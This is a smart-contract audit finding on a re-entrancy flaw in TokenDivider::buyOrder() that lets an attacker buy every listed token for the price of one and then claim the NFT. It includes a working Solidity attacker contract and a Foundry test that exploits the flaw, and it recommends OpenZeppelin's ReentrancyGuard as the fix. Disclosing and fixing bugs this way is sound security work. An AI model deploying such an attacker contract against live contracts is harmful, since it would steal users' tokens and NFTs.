Summary
A re-entrancy risk in TokenDivider::buyOrder()
function allows an attacker to get all listed tokens for the price of 1. And then go ahead to claim NFT.
Vulnerability Details and Impact
An attacker can re-enter the TokenDivider::buyOrder()
function multiple times till they have gotten all listed tokens for the price of 1. Then they can go ahead to claim the NFT if they have all the listed tokens for said NFT.
Tools Used
Foundry
PoC
Here is the attacker contract:
pragma solidity ^0.8.18;
import {TokenDivider} from "./TokenDivider.sol";
contract Attacker {
TokenDivider divider;
uint256 orderIndex;
address seller;
constructor(TokenDivider _divider) {
divider = _divider;
}
function setOrder(uint256 _orderIndex, address _seller) external {
orderIndex = _orderIndex;
seller = _seller;
}
receive() external payable {
if (address(divider).balance >= 1e18) {
divider.buyOrder(orderIndex, seller);
}
}
function attack() external payable {
divider.buyOrder{value: msg.value}(orderIndex, seller);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
Here is the test:
function test_can_re_enter_buy_order_and_claim_nft_afterwards() public nftDivided {
Attacker attacker = new Attacker(tokenDivider);
vm.deal(address(attacker), 1.05 ether);
ERC20Mock erc20Mock = ERC20Mock(tokenDivider.getErc20InfoFromNft(address(erc721Mock)).erc20Address);
vm.startPrank(USER);
erc20Mock.approve(address(tokenDivider), AMOUNT);
tokenDivider.sellErc20(address(erc721Mock), 1e18, AMOUNT);
vm.stopPrank();
vm.startPrank(address(attacker));
attacker.setOrder(0, USER);
attacker.attack{value: 1.05 ether}();
assertEq(tokenDivider.getBalanceOf(address(attacker), address(erc20Mock)), AMOUNT);
erc20Mock.approve(address(tokenDivider), AMOUNT);
tokenDivider.claimNft(address(erc721Mock));
vm.stopPrank();
assertEq(erc721Mock.ownerOf(TOKEN_ID), address(attacker));
}
Recommendations
Implement ReentrancyGuard and nonReentrant modifier from OpenZeppelin.